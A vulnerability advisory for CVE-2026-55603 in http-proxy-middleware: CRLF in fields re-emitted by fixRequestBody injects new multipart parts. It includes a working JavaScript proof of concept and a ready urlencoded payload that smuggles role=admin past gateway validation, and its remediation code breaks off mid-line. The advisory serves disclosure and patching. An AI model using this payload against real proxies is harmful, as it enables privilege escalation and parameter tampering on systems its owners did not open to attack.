🛡️ CVE-2026-55603 — http-proxy-middleware
Description
http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in fixRequestBody
Summary
fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:
```js
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
let str = '';
for (const [key, value] of Object.entries(data)) {
str += --${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n;
}
}
```
A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.
By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.
Preconditions
All three must hold; this narrows real-world exposure and is the basis for AC:H:
1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input.
2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.
3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.
> Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.
Impact
When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:
- Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids
role=adminis bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
- File-part injection inject a
filename="..."part into the upstream multipart stream.
Proof of Concept
```js
// npm i [email protected] (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';
// req.body as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};
// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
h: { 'content-type': 'multipart/form-data; boundary=BB' },
getHeader(n){ return this.h[n.toLowerCase()]; },
setHeader(n,v){ this.h[n.toLowerCase()] = v; },
write(d){ out.push(Buffer.from(d)); },
};
fixRequestBody(proxyReq, req); // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());
```
Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:
```
--BB
Content-Disposition: form-data; name="user"
alice
--BB
Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys
admin
--BB--
```
req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--
Remediation
Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:
```js
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
const bad = /[\r\n]/;
let str = '';
for (const [key, value] of Object.entries(data)) {
const v = String(value);
if (bad.test(key) || bad.test(v)) {
throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
}
str
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity high, availability none.
Affected software
CVE-2026-55603 is recorded against 1 package.
- http-proxy-middleware
Timeline and source
Published on 18 June 2026 and last revised on 24 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.
References
Details
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| http-proxy-middleware | — | — |
References
Similar Threats
- Unknown CLSA-2026-1774657385
- Unknown CLSA-2026-1774657386
- Unknown CLSA-2026-1776299658
- Unknown CLSA-2026-1783991046
- Unknown CLSA-2026-1784077482
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running http-proxy-middleware?
CVE-2026-55603 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-55603 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.